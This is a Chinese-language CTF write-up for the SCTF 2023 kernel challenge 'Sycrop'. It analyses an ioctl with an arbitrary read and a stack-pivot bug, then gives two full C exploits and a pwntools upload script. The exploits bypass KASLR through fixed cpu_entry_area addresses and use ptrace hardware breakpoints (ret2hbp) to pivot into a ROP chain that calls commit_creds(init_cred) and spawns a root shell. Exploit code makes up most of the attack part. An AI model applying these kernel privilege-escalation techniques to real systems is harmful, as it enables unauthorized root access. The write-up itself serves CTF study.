SCTF 2023 Kernel Pwn Sycrop

image

分析

基本信息

题目附件:sycrop.zip

防护措施:kaslr,smep,smap,kpti

漏洞点

本题ko代码量不大,漏洞点也比较明显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall seven_ioctl(file *filp, __int64 cmd, unsigned __int64 arg)
{
__int64 v4; // r14
__int64 result; // rax

if ( (_DWORD)cmd != 0x6666 )
{
v4 = -1LL;
if ( (_DWORD)cmd == 0x5555 )
{
if ( pray )
{
printk("\x1B[35m\x1B[1m[*]no no no\n", cmd);
}
else
{
pray = 1;
printk("\x1B[31m\x1B[1m[*]pray\n", cmd);
return *(_QWORD *)arg; // 任意地址信息泄露
}
}
return v4;
}
if ( come_true )
return 0LL;
result = printk("\x1B[34m\x1B[1m[*]SYCrop by 77\n", cmd);
come_true = 1;
return result; // 此处得看汇编,汇编层面有一句"rsp=arg",也就是说允许我们把栈迁移到传入arg指向的地址
}

两个漏洞总结如下:

  1. cmd=0x5555可以泄露任意内核地址的内容(仅能泄露低4字节内容)

  2. cmd=0x6666可以将内核栈迁移到任意位置

问题来了,本题开启了KASLR,需要信息泄露后才能继续往下做,所以从哪个位置泄露呢?经过一顿尝试以及查找资料,在hxp的这篇博客中发现了cpu_entry_area,系统调用modify_ldt会改变0xffff880000000000(LDT remap for PTI)区域的内容。于是有了如下测试:

  • 利用sys_modify_ldt写可以在0xffff880000000000区域创建新的ldt,内容用户态可控,但不是全部可控。无法构造rop,尝试失败

  • cpu_entry_area区域无随机化,且有内核地址,如0xfffffe0000002f38这个固定地址处处能泄露一个内核地址。

  • cpu_entry_area还有个神奇的发现,当用户态执行系统调用时,有一定概率用户态寄存器内容会被放入0xfffffe0000002f58处,有点类似pt_regs。虽然寄存器内容出现在0xfffffe0000002f58的概率比较低,但是当时也没有什么好办法,只能栈迁移到此处执行rop了。(后来知道这个区域叫做entry_stack_page,用户态和内核态上下文切换时,寄存器就会暂存到该区域。)

如此,信息泄露和栈迁移的位置就都搞定了!

利用

做题时的exp

回顾做题过程,总结几个问题:

  • 做题时不知道ret2hbp这么个方法,所以栈迁移到了不怎么稳定的entry_stack_page处
  • 做题时,选择系统调用的方式将用户态寄存器数据放入entry_stack_page,该方法部分寄存器内容无法控制,导致一次栈迁移空间不够,又使用copy_from_user做了二次栈迁移,步骤就略显复杂了(Nu1l使用硬件断点的方式,能控寄存器比系统调用方式多)
  • 做题时忽略了寄存器rbp,以及系统调用时rsi和rdx可以控制成任何值

第一版exp如下,幸运的是打远程第一次就成了,不幸的是后来接连6/7次都没成….概率确实低

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
// gcc exp.c -static -masm=intel -lpthread -o exp
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include <unistd.h>
#include<string.h>
#include<sys/ioctl.h>
#include <sys/syscall.h>
#include<fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>

#define BZIMAGE_BASE 0xFFFFFFFF81000000

int fd;
extern int errno;

uint64_t pop_rdi_ret = 0xffffffff81002c9d;
uint64_t init_cred_addr = 0xFFFFFFFF82A4CBF8;
uint64_t pkc_func = 0xFFFFFFFF810BB9A0;
uint64_t cc_func = 0xFFFFFFFF810BB5B0;
uint64_t kpti_tramp = 0xFFFFFFFF82000F01;


uint64_t pop_rdx_rsi_rdi_ret = 0xffffffff810034ba;
uint64_t temp_stack = 0xfffffe0000002d00; // 第二次栈迁移时栈的位置
uint64_t copy_fu_func = 0xFFFFFFFF81549BE0;
uint64_t pop_ret = 0xffffffff810034bd;
uint64_t pop_rsp_ret = 0xffffffff812af92f; // : pop rsp ; ret;

uint64_t gadget_buf[0x100] = {0};
uint64_t gadget_addr = (uint64_t)gadget_buf;


void* ioctl_5555(void* arg){
__asm__(
"mov r15, pop_rdx_rsi_rdi_ret;"
"mov r14, 0x100;" // 4
"mov r13, gadget_addr;" // 3
"mov r12, temp_stack;" // 2
"mov r11, 0x11111111;"
"mov r10, copy_fu_func;" // r10
"mov rbx, pop_ret;" // 1
"mov r9, pop_rsp_ret;" // r9
"mov r8, temp_stack;" //r8
"mov rcx, 0xcccccccc;"
"mov rax, 0x10;"
"mov rdx, 0xfffffe0000002f38;"
"mov rsi, 0x5555;"
"mov rdi, fd;"
"syscall"
);
}

void getshell(){
printf("[+] return to user success!\n");
system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss;
void save_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

int main(){
save_status();

fd = open("/dev/seven",2);

// leak kernel_base
uint64_t target_addr = 0xfffffe0000002f38;
uint64_t ret = ioctl(fd,0x5555,target_addr);
uint64_t kernel_base = ret - 0xeec205;
printf("kernel_base: 0x%lx\n",kernel_base);

// set params
pop_rdi_ret = pop_rdi_ret - BZIMAGE_BASE + kernel_base;
init_cred_addr = init_cred_addr - BZIMAGE_BASE + kernel_base;
pkc_func = pkc_func - BZIMAGE_BASE + kernel_base;
cc_func = cc_func - BZIMAGE_BASE + kernel_base;
kpti_tramp = kpti_tramp - BZIMAGE_BASE + kernel_base;

pop_rdx_rsi_rdi_ret = pop_rdx_rsi_rdi_ret - BZIMAGE_BASE + kernel_base;
copy_fu_func = copy_fu_func - BZIMAGE_BASE + kernel_base;
pop_ret = pop_ret - BZIMAGE_BASE + kernel_base;
pop_rsp_ret = pop_rsp_ret - BZIMAGE_BASE + kernel_base;


// set gadget
int a = 0;
gadget_buf[a++] = pop_rdi_ret;
gadget_buf[a++] = init_cred_addr;
gadget_buf[a++] = cc_func;
gadget_buf[a++] = kpti_tramp;
gadget_buf[a++] = 0x0;
gadget_buf[a++] = 0x0;
gadget_buf[a++] = (uint64_t)getshell;
gadget_buf[a++] = user_cs;
gadget_buf[a++] = user_rflags;
gadget_buf[a++] = user_sp;
gadget_buf[a++] = user_ss;

// hijack control flow
pthread_t th1;
pthread_create(&th1,NULL,ioctl_5555,0);
usleep(400); //400时,这个poc,能够有较大概率将控制流劫持到0x15151515,先基于这个做题吧
ioctl(fd,0x6666,0xfffffe0000002f58);

return 0;
}

更新版exp

目前看过的exp有Nu1l和题目作者pray77的,Nu1l虽然使用了hbp的方法,但是栈迁移选择的位置并未找对。Nu1l跟我都是迁移到entry_stack_page(0xfffffe0000002f58)这个位置,这里变化很快,所以是概率性成功(Nu1l通过连续触发100次hbp使寄存器数据保留在entry_stack_page上,从而大大提高了成功的概率)。而预期的位置是DB stack处(0xfffffe0000010f58),这里的内容是稳定的。

理解完作者所说的ret2hbp方法后,更改了一版exp,成功率达成100%,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/user.h>
#include <stddef.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sched.h>
#include<stdint.h>
#include<string.h>
#include<sys/ioctl.h>
#include <sys/syscall.h>
#include<fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>

#define BZIMAGE_BASE 0xFFFFFFFF81000000

int fd;
extern int errno;

uint64_t pop_rdi_ret = 0xffffffff81002c9d;
uint64_t init_cred_addr = 0xFFFFFFFF82A4CBF8;
uint64_t cc_func = 0xFFFFFFFF810BB5B0;
uint64_t kpti_tramp = 0xFFFFFFFF82000F01;
uint64_t ret_func= 0;

pid_t hbp_pid;
int status;
char buf[0x10];

void create_hbp(void* addr)
{
if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
printf("Could not create hbp! ptrace dr0: %m\n");
kill(hbp_pid,9);
exit(1);
}
if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
printf("Could not create hbp! ptrace dr7: %m\n");
kill(hbp_pid,9);
exit(1);
}
}

void getshell(){
printf("[+] return to user success!\n");
system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss;
void save_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

int main(){
ret_func = (uint64_t)&getshell;
save_status();

fd = open("/dev/seven",2);

// 1. leak kernel_base
uint64_t target_addr = 0xfffffe0000002f38;
uint64_t ret = ioctl(fd,0x5555,target_addr);
uint64_t kernel_base = ret - 0xeec205;
printf("kernel_base: 0x%lx\n",kernel_base);

// set params
pop_rdi_ret = pop_rdi_ret - BZIMAGE_BASE + kernel_base;
init_cred_addr = init_cred_addr - BZIMAGE_BASE + kernel_base;
cc_func = cc_func - BZIMAGE_BASE + kernel_base;
kpti_tramp = kpti_tramp - BZIMAGE_BASE + kernel_base;

// 2. create hbp
hbp_pid = fork();
if(hbp_pid == 0){
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(1,&mask);
sched_setaffinity(0,sizeof(mask),&mask);

ptrace(PTRACE_TRACEME,0,NULL,NULL);
raise(SIGSTOP);

__asm__(
"mov r15, pop_rdi_ret;"
"mov r14, init_cred_addr;"
"mov r13, cc_func;"
"mov r12, kpti_tramp;"
"mov rbp, 0x0;"
"mov rbx, 0x0;"
"mov r11, ret_func;"
"mov r10, user_cs;"
"mov r9, user_rflags;"
"mov r8, user_sp;"
"mov rax, user_ss;"
"mov rcx, 0xcccccccc;"
"mov rdx, 0xdddddddd;"
"mov rsi, buf;"
"mov rdi, [rsi];"
);
exit(1);
}

waitpid(hbp_pid,&status,0);

create_hbp(buf);

ptrace(PTRACE_CONT,hbp_pid,0,0);
waitpid(hbp_pid,&status,0);

ptrace(PTRACE_CONT,hbp_pid,0,0);
waitpid(hbp_pid,&status,0);

// 3. hijack control flow
ioctl(fd,0x6666,0xfffffe0000010f58);

return 0;
}

远程上传脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import gmpy2,os
from pwn import *

def do_pow(r):
if os.environ.get('NOPOW') is not None: return
r.recvuntil(b'2^(2^')
bit=int(r.recvuntil(b')',drop=True))
r.recvuntil(b'mod ')
mod=int(r.recvuntil(b' =',drop=True))
r.sendline(str(gmpy2.powmod(2,gmpy2.bit_set(0,bit),mod)).encode())
r.recvuntil(b'ok\n')

io = remote('xxx.xxx.xxx.xxx',7777)
do_pow(io)

payload = b64e(open("./exp",'rb').read())
a = len(payload) // 500
for i in range(a + 1):
print("[+] %d/%d" % (i,a))
s = 'echo "' + payload[i*(500):(i+1)*500] + '" >> /tmp/exp.b64'
io.sendlineafter(b"/ $",s.encode('utf-8'))

io.sendlineafter(b"/ $",b'cat /tmp/exp.b64 | base64 -d > /tmp/exp')
io.sendlineafter(b"/ $",b'chmod +x /tmp/exp')

context(log_level='debug')
io.interactive()
# while 1:
# t = io.recvuntil(b"/")
# print(t.replace(b"\r",b'').decode('utf-8'))
# io.send(input().encode('utf-8'))

参考:

题目作者pray77 WP

Nu1L WP(需扫码下载….

VERITAS501 一篇详细分析cpu_entry_area区域的文章

P0 本题利用方法的来源

硬件断点寄存器 x86 debug register

硬件断点的原理

ptrace和waitpid搭配使用查看子进程状态